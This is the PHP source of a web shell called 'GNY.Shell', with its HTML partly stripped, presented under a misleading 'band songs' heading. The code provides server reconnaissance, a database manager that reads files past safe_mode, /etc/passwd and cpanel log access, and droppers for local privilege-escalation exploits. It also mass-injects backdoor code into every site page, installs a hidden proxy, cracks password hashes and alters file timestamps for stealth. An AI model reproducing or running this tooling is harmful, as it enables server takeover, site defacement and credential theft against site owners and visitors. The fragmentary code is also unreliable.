Some of our songs
Short description of the band
_____ _ ___ __ _____ _ _ _
/ ____| \ | \ \ / // ____| | | | |
| | __| \| |\ \_/ /| (___ | |__ ___| | |
| | |_ | . ` | \ / \___ \| '_ \ / _ \ | |
| |__| | |\ | | | _ ____) | | | | __/ | |
\_____|_| \_| |_|(_)_____/|_| |_|\___|_|_|
'; ?>
Kernel:
',1); if($win) echo ' ('.exec('ver').')'; ?>
Safe-Mode:
',1);} else {echo 'Running As: '.get_current_user();} ?>
Disabled PHP Functions: NONE ';}else{echo '
'.str_replace(',', ', ', $df).' ';} ?>
cURL: ".(($curl_on)?("ON "):("OFF ")); ?>
Free '.view_size($free).' of '.view_size($total).' ('.$free_percent.'%)'; } echo '
Server IP: '.gethostbyname($_SERVER["HTTP_HOST"]).' - Your IP: '.$_SERVER["REMOTE_ADDR"].'
'.htmlspecialchars($b).DIRECTORY_SEPARATOR.' '; $i++; } echo ' '; if (is_writable($d)) { $wd = TRUE; $wdt = "[ ok ] "; echo "".view_perms(fileperms($d))." "; } else { $wd = FALSE; $wdt = "[ Read-Only ] "; echo ''.view_perms_color($d).' '; } echo '
'; $letters = ''; if ($win) { $v = explode("\\",$d); $v = $v[0]; foreach (range('a','z') as $letter) { $bool = $isdiskette = in_array($letter,$safemode_diskettes); if (!$bool) {$bool = is_dir($letter.":\\");} if ($bool) { $letters .= "["; if ($letter.":" != $v) {$letters .= strtoupper($letter);} else {$letters .= ''.strtoupper($letter).' ';} $letters .= ":] "; } } if (!empty($letters)) {echo "Detected drives : ".$letters."
";} } if (count($quicklaunch) > 0) { foreach($quicklaunch as $item) { $item[1] = str_replace("%d",urlencode($d),$item[1]); $item[1] = str_replace("%sort",$sort,$item[1]); $v = realpath($d.".."); if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} $item[1] = str_replace("%upd",urlencode($v),$item[1]); echo "".$item[0]." "; } } if (count($quicklaunch2) > 0) { echo '
'; foreach($quicklaunch2 as $item) { $item[1] = str_replace('%d',urlencode($d),$item[1]); $item[1] = str_replace('%sort',$sort,$item[1]); $v = realpath($d.'..'); if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} $item[1] = str_replace('%upd',urlencode($v),$item[1]); echo "".$item[0]." "; } } /* echo '
'; echo '
'; */ if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "
";} echo "
"; if ($act == '') {$act = $dspact = 'ls';} if ($act == 'sql') { $sql_surl = $surl.'act=sql'; if ($sql_login) {$sql_surl .= '&sql_login='.htmlspecialchars($sql_login);} if ($sql_passwd) {$sql_surl .= '&sql_passwd='.htmlspecialchars($sql_passwd);} if ($sql_server) {$sql_surl .= '&sql_server='.htmlspecialchars($sql_server);} if ($sql_port) {$sql_surl .= '&sql_port='.htmlspecialchars($sql_port);} if ($sql_db) {$sql_surl .= '&sql_db='.htmlspecialchars($sql_db);} $sql_surl .= "&"; ?>'; if (!$sql_sock) {?>"; } echo "
MySQL: "; $mysql_on = @function_exists('mysql_connect'); if($mysql_on){ echo "ON "; } else { echo "OFF "; } echo "
MSSQL: "; $mssql_on = @function_exists('mssql_connect'); if($mssql_on){echo "ON ";}else{echo "OFF ";} ?>
PostgreSQL: "; $pg_on = @function_exists('pg_connect'); if($pg_on){echo "ON ";}else{echo "OFF ";} ?>
Oracle: "; $ora_on = @function_exists('ocilogon'); if($ora_on){echo "ON ";}else{echo "OFF ";} ?>
SQL Manager:
'; if (!$sql_sock) { if (!$sql_server) {echo 'NO CONNECTION';} else {echo "Can't connect "; echo "".$err." ";} } else { $sqlquicklaunch = array(); $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); $sqlquicklaunch[] = array("Logout",$surl."act=sql"); echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
"; if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} echo ' '; } echo '
If login is null, login is owner of process.
If host is null, host is localhost (default).
If port is null, port is 3306 (default).
Please, fill the form:
">Home
".htmlspecialchars($sql_db)." ]:.
"; $c = 0; while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "+ ".htmlspecialchars($row[0])." (".$count_row[0].")
"; mysql_free_result($count); $c++;} if (!$c) {echo 'No tables found in database.';} } } else { ?>
Home
"; //Start center panel $diplay = TRUE; if ($sql_db) { if (!is_numeric($c)) {$c = 0;} if ($c == 0) {$c = "no";} echo "
There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
"; if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} echo " "; $acts = array("","dump"); if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} elseif ($sql_tbl_act == "insert") { if ($sql_tbl_insert_radio == 1) { $keys = ''; $akeys = array_keys($sql_tbl_insert); foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} $values = ""; $i = 0; foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; $sql_act = "query"; $sql_tbl_act = "browse"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; $result = mysql_query($sql_query) or print(mysql_smarterror()); $result = mysql_fetch_array($result, MYSQL_ASSOC); $sql_act = "query"; $sql_tbl_act = "browse"; } } if ($sql_act == "query") { echo "
"; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
".$sql_query_error."
";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) {echo "
";} } if (in_array($sql_act,$acts)) { ?>
";} if ($sql_act == "newtbl") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
"; } else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
Reason: ".mysql_smarterror();} } elseif ($sql_act == "dump") { if (empty($submit)) { $diplay = FALSE; echo "
SQL-Dump:
"; echo "DB:
"; $v = join (";",$dmptbls); echo "Only tables (explode \";\") 1 :
"; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} echo "File:
"; echo "Download:
"; echo "Save to file: "; echo "
1 - all, if empty"; echo "
"; } else { $diplay = TRUE; $set = array(); $set['sock'] = $sql_sock; $set['db'] = $sql_db; $dump_out = 'download'; $set['print'] = 0; $set['nl2br'] = 0; $set[''] = 0; $set['file'] = $dump_file; $set['add_drop'] = TRUE; $set['onlytabs'] = array(); if (!empty($dmptbls)) {$set['onlytabs'] = explode(';',$dmptbls);} $ret = mysql_dump($set); if ($sql_dump_download) { @ob_clean(); header("Content-type: application/octet-stream"); header("Content-length: ".strlen($ret)); header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); echo $ret; exit; } elseif ($sql_dump_savetofile) { $fp = fopen($sql_dump_file,"w"); if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} else { fwrite($fp,$ret); fclose($fp); echo "Dumped! Dump has been writen to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") ."; } } else {echo "Dump: nothing to do! ";} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); $count_row = mysql_fetch_array($count); mysql_free_result($count); $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); $tbl_struct_fields = array(); while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} $perpage = $sql_tbl_le - $sql_tbl_ls; if (!is_numeric($perpage)) {$perpage = 10;} $numpages = $count_row[0]/$perpage; $e = explode(" ",$sql_order); if (count($e) == 2) { if ($e[0] == "d") {$asc_desc = "DESC";} else {$asc_desc = "ASC";} $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; } else {$v = "";} $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; $result = mysql_query($query) or print(mysql_smarterror()); echo "
Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) "; echo "[ Structure ] "; echo "[ Browse ] "; echo "[ Dump ] "; echo "[ Insert ] "; if ($sql_tbl_act == "structure") {echo "
Coming sooon! ";} if ($sql_tbl_act == "insert") { if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} if (!empty($sql_tbl_insert_radio)) { } else { echo '
Inserting row into table:
'; if (!empty($sql_tbl_insert_q)) { $sql_query = "SELECT * FROM `".$sql_tbl."`"; $sql_query .= " WHERE".$sql_tbl_insert_q; $sql_query .= " LIMIT 1;"; $result = mysql_query($sql_query,$sql_sock) or print("
".mysql_smarterror()); $values = mysql_fetch_assoc($result); mysql_free_result($result); } else {$values = array();} echo "
"; foreach ($tbl_struct_fields as $field) { $name = $field["Field"]; if (empty($sql_tbl_insert_q)) {$v = "";} echo ""; $i++; } echo "
"; echo "Insert as new row "; if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";} echo "
"; } } if ($sql_tbl_act == "browse") { $sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo "
"; echo "[Pages] "; $b = 0; for($i=0;$i<$numpages;$i++) { if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} echo $i; if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";} if (($i/30 == round($i/30)) and ($i > 0)) {echo "
";} else {echo " ";} } if ($i == 0) {echo "empty";} echo "
From: To:
"; echo "
"; echo ""; echo ""; for ($i=0;$i"; echo ''; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo ""; $w = ""; $i = 0; foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} echo ""; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == "") {$v = "NULL ";} echo ""; $i++; } echo ""; echo ""; } mysql_free_result($result); echo "
"; echo "
With selected:
"; echo "
Delete
"; echo "
"; } } else { $result = mysql_query("SHOW TABLE STATUS", $sql_sock); if (!$result) {echo mysql_smarterror();} else { echo "
"; $i = 0; $tsize = $trows = 0; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize += $row["Data_length"]; $trows += $row["Rows"]; $size = view_size($row["Data_length"]); echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; $i++; } echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo ""; echo "
"; echo "
With selected:
"; echo "
Drop
"; echo "
Empty
"; echo "
Dump
"; echo "
Check table
"; echo "
Optimize table
"; echo "
Repair table
"; echo "
Analyze table
"; echo "
"; mysql_free_result($result); } } } } } else { $acts = array("","newdb","serverstatus","servervars","processes","getfile"); if (in_array($sql_act,$acts)) {?>
"; if ($sql_act == "newdb") { echo ""; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
";} else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
Reason: ".mysql_smarterror();} } if ($sql_act == "serverstatus") { $result = mysql_query("SHOW STATUS", $sql_sock); echo "Server-status variables:
"; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} echo "
Name
Value
".$row[0]."
".$row[1]."
"; mysql_free_result($result); } if ($sql_act == "servervars") { $result = mysql_query("SHOW VARIABLES", $sql_sock); echo "Server variables:
"; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "";} echo "
Name
Value
".$row[0]."
".$row[1]."
"; mysql_free_result($result); } if ($sql_act == "processes") { if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";} $result = mysql_query("SHOW PROCESSLIST", $sql_sock); echo "Processes:
"; echo ""; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "";} echo "
ID
USER
HOST
DB
COMMAND
TIME
STATE
INFO
Action
".$row[0]."
".$row[1]."
".$row[2]."
".$row[3]."
".$row[4]."
".$row[5]."
".$row[6]."
".$row[7]."
Kill
"; mysql_free_result($result); } if ($sql_act == "getfile") { $tmpdb = $sql_login."_tmpdb"; $select = mysql_select_db($tmpdb); if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} if ($select) { $created = FALSE; mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $result = mysql_query("SELECT * FROM tmp_file;"); if (!$result) {echo "Error in reading file (permision denied)! ";} else { for ($i=0;$i
"; if ($sql_sock) { $affected = @mysql_affected_rows($sql_sock); if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} echo "
Affected rows: ".$affected."
"; } if ($act == "mkdir") { if ($mkdir != $d) { if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";} elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";} echo '
'; } $act = $dspact = 'ls'; } if ($act == 'd') { if (!is_dir($d)) {echo "Permision denied! ";} else { echo "Directory information: "; if (!$win) { echo "
Owner/Group
"; $ow = posix_getpwuid(fileowner($d)); $gr = posix_getgrgid(filegroup($d)); $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); } echo "
Perms
".view_perms_color($d)."
Create time
".date("d/m/Y H:i:s",filectime($d))."
Access time
".date("d/m/Y H:i:s",fileatime($d))."
MODIFY time
".date("d/m/Y H:i:s",filemtime($d))."
"; } } if ($act == 'phpinfoframe') {@ob_clean(); phpinfo(); GNYexit();} if ($act == 'phpinfo') { echo ''; } if ($act == 'exploit') { echo '
'; } if ($act == 'exploits') { ?> Exploits:
All exploits are pre-compiled. Just follow the directions.
h00lyshit - Local Race Exploit
method=GET> Path to extract to: (must have final /)
h00lyshit was created in '.htmlentities($_GET['path']).''; chmod($_GET['path'].'/h00lyshit', 0777); }else{ echo 'Directory is not writable!
'; } } // end if h00lyshit was called ?>
raptor_chown - Group Modification Exploit
method=GET> Path to extract to: (must have final /)
raptor_chown was created in '.htmlentities($_GET['path']).''; chmod($_GET['path'].'/raptor_chown', 0777); }else{ echo 'Directory is not writable!
'; } } // end if raptor_chown was called } // end if exploits is called if ($act == 'massbrowsersploit') { ?> Mass Code Injection:
Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.
'.$injectj00.' was injected
'; } else { echo 'failed to inject '.$injectj00.' '; } } foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) { $fp=fopen($injectj00,"a+"); if (fputs($fp,$lolinject)){ echo $injectj00.' was injected
'; } else { echo 'failed to inject '.$injectj00.' '; } } foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) { $fp=fopen($injectj00,"a+"); if (fputs($fp,$lolinject)){ echo $injectj00.' was injected
'; } else { echo 'failed to inject '.$injectj00.' '; } } } else { //end if inputted dir is real -- if not, show an ugly red error echo ''.$_GET['pathtomass'].' is not available! '; } // end if inputted dir is real, for real this time } // end if confirmation to mass sploit is go //new php backdoor ?> Mass Code Injection:
Use this to add PHP to the end of every .php page in the directory specified.
'.$injectj00.' was injected
'; } else { echo 'failed to inject '.$injectj00.' '; } } } else { //end if inputted dir is real -- if not, show an ugly red error echo ''.$_GET['pathtomass'].' is not available! '; } // end if inputted dir is real, for real this time } // end if confirmation to mass sploit is php only } // end if massbrowsersploit is called if ($act == 'security') { echo "Server security information: Open base dir: ".$hopenbasedir."
"; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo "*nix /etc/passwd:
"; if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo "
From: To:
"; $i = $nixpwd_s; while ($i < $nixpwd_e) { $uid = posix_getpwuid($i); if ($uid) { $uid["dir"] = "".$uid["dir"]." "; echo join(":",$uid)."
"; } $i++; } } else {echo "
Get /etc/passwd
";} if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs
";} if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs
";} if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf)
";} if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf)
";} if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf)
";} if (file_get_contents("/etc/motd")) {echo "Message Of The Day
";} if (file_get_contents("/etc/hosts")) {echo "Hosts
";} function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)."
";}} displaysecinfo("OS Version?",myshellexec("cat /proc/version")); displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); displaysecinfo("RAM",myshellexec("free -m")); displaysecinfo("HDD space",myshellexec("df -h")); displaysecinfo("List of Attributes",myshellexec("lsattr -a")); displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); displaysecinfo("Is cURL installed?",myshellexec("which curl")); displaysecinfo("Is lynx installed?",myshellexec("which lynx")); displaysecinfo("Is links installed?",myshellexec("which links")); displaysecinfo("Is fetch installed?",myshellexec("which fetch")); displaysecinfo("Is GET installed?",myshellexec("which GET")); displaysecinfo("Is perl installed?",myshellexec("which perl")); displaysecinfo("Where is apache",myshellexec("whereis apache")); displaysecinfo("Where is perl?",myshellexec("whereis perl")); displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); displaysecinfo("locate my.conf",myshellexec("locate my.conf")); displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); } else { exec('systeminfo', $wininfo); ?>
DOS command: systeminfo
><?php if ($wininfo) { foreach($wininfo as $row) echo $row."\n"; } else { // if systeminfo failed echo 'Couldn\'t execute command!'; } ?> Make File \"".htmlspecialchars($mkfile)."\": object alredy exists";} elseif (!fopen($mkfile,'w')) {echo 'Make File "'.htmlspecialchars($mkfile).'" : access denied';} else {$act = 'f'; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} } else {$act = $dspact = 'ls';} } if ($act == 'encoder') { echo "Encoder:
Input: ".@htmlspecialchars($encoder_input)."
Hashes :
"; foreach(array("md5","crypt","sha1","crc32") as $v) { echo $v." -
"; } echo " Url:
urlencode -
urldecode -
Base64: base64_encode - "; echo "base64_decode - "; if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo " ";} else { $debase64 = base64_decode($encoder_input); $debase64 = str_replace("\0","[0]",$debase64); $a = explode("\r\n",$debase64); $rows = count($a); $debase64 = htmlspecialchars($debase64); if ($rows == 1) {echo " ";} else {$rows++; echo "".$debase64." ";} echo " ^ "; } echo "
Base convertations :dec2hex -
"; ?>
Wordlist Hash Cracker
Enter hash:
Wordlist:
Type:
MD5
SHA1
'; if ($hash == $type(rtrim($word))) { echo 'Great success! The password is: '.$word.'
'; break; } ++$count; } } } if ($act == 'fsbuff') { $arr_copy = $sess_data["copy"]; $arr_cut = $sess_data["cut"]; $arr = array_merge($arr_copy,$arr_cut); if (count($arr) == 0) {echo "Buffer is empty! ";} else {echo "File-System buffer
"; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";} } if ($act == 'proxy') { if ($_GET['ipisk'] == 'yup') { cf("/tmp/hantu.tgz",$proxy_shit); ex("cd /tmp;tar -zxvf hantu.tgz"); ex("cd /tmp;cd .setan;chmod 777 xh"); ex("cd /tmp;cd .setan;chmod 777 httpd"); ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start"); checkproxyhost(); $msg = $_POST['proxyhostmsg']; echo("$msg"); unlink("/tmp/hantu.tgz"); ex("cd /tmp; rm -r .setan"); }else echo 'Are you sure you want to install an IP:Port proxy on this website/server?
Please note, some servers with firewalls or other security features may not be compatible with this, even if the proxy appears to be installed.
Yes || No '; } if ($act == 'fi'){ ?> Install Local RFI/LFI Scanner
method=GET> Path to install in: (must have final /)
fi.pl was created in '.htmlentities($_GET['path']).' '; chmod($_GET['path'].'/fi.pl', 0777); echo '
To execute, browse to the directory you installed the scanner in and execute it from there using \'perl fi.pl\''; }else{ echo 'Directory is not writable!
'; } } } if ($act == 'phpproxy'){ ?> Install PHP Based Proxy
method=GET> Path to install in: (must have final /)
proxy.php was created in '.htmlentities($_GET['path']).' '; chmod($_GET['path'].'/proxy.php', 0777); }else{ echo 'Directory is not writable!
'; } } } if ($act == 'selfremove') { if ($_GET['bai'] == 'k'){ if (unlink(__FILE__)){ @ob_clean(); echo 'GNY.Shell has been deleted and is now gone.'; GNYexit(); }else{ echo "Cannot delete ".__FILE__."! ";} }else{ echo 'Are you sure you want to permanently remove '.__FILE__.'?
Yes || No '; } } if ($act == 'update') {$ret = sh_getupdate(!!$confirmupdate); echo "".$ret." "; if (stristr($ret,"new version")) {echo "
";}} if ($act == 'search') { echo "Search in file-system:
"; if (empty($search_in)) {$search_in = $d;} if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} if (empty($search_text_wwo)) {$search_text_regexp = 0;} if (!empty($submit)) { $found = array(); $found_d = 0; $found_f = 0; $search_i_f = 0; $search_i_d = 0; $a = array ( "name"=>$search_name, "name_regexp"=>$search_name_regexp, "text"=>$search_text, "text_regexp"=>$search_text_regxp, "text_wwo"=>$search_text_wwo, "text_cs"=>$search_text_cs, "text_not"=>$search_text_not ); $searchtime = getmicrotime(); $in = array_unique(explode(";",$search_in)); foreach($in as $v) {fsearch($v);} $searchtime = round(getmicrotime()-$searchtime,4); if (count($found) == 0) {echo "No files found! ";} else { $ls_arr = $found; $disp_fullpath = TRUE; $act = "ls"; } } echo "
Search for (file/folder name): - regexp
Search in (explode \";\"):
Text:
".htmlspecialchars($search_text)."
- regexp - w hole words only - case sensitive - find files NOT containing the text
"; if ($act == 'ls') {$dspact = $act; echo "
Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).
";} } if ($act == 'chmod') { $mode = fileperms($d.$f); if (!$mode) {echo "Change file-mode with error: can't get current value.";} else { $form = TRUE; if ($chmod_submit) { $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} else {$err = "Can't chmod to ".$octet.".";} } if ($form) { $perms = parse_perms($mode); echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")
".($err?"Error: ".$err:"")."
"; } } } if ($act == "upload") { $uploadmess = ""; $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); if (empty($uploadpath)) {$uploadpath = $d;} elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} if (!empty($submit)) { global $HTTP_POST_FILES; $uploadfile = $HTTP_POST_FILES["uploadfile"]; if (!empty($uploadfile["tmp_name"])) { if (empty($uploadfilename)) {$destin = $uploadfile["name"];} else {$destin = $userfilename;} if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!
";} } elseif (!empty($uploadurl)) { if (!empty($uploadfilename)) {$destin = $uploadfilename;} else { $destin = explode("/",$destin); $destin = $destin[count($destin)-1]; if (empty($destin)) { $i = 0; $b = ""; while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} } if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url!
";} else { $st = getmicrotime(); $content = @file_get_contents($uploadurl); $dt = round(getmicrotime()-$st,4); if (!$content) {$uploadmess .= "Can't download file!
";} else { if ($filestealth) {$stat = stat($uploadpath.$destin);} $fp = fopen($uploadpath.$destin,"w"); if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!
";} else { fwrite($fp,$content,strlen($content)); fclose($fp); if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} } } } } } if ($miniform) { echo "".$uploadmess." "; $act = "ls"; } else { echo "File upload:
".$uploadmess."
Select file on your local computer:
or
Input URL:
Save this file dir:
File-name (auto-fill):
convert file name to lovercase
"; } } if ($act == 'md5file') { ?> MD5 Checksum:
'; echo "
"; $act = 'ls'; } if ($act == 'sha1file') { ?> SHA1 Checksum:
'; echo "
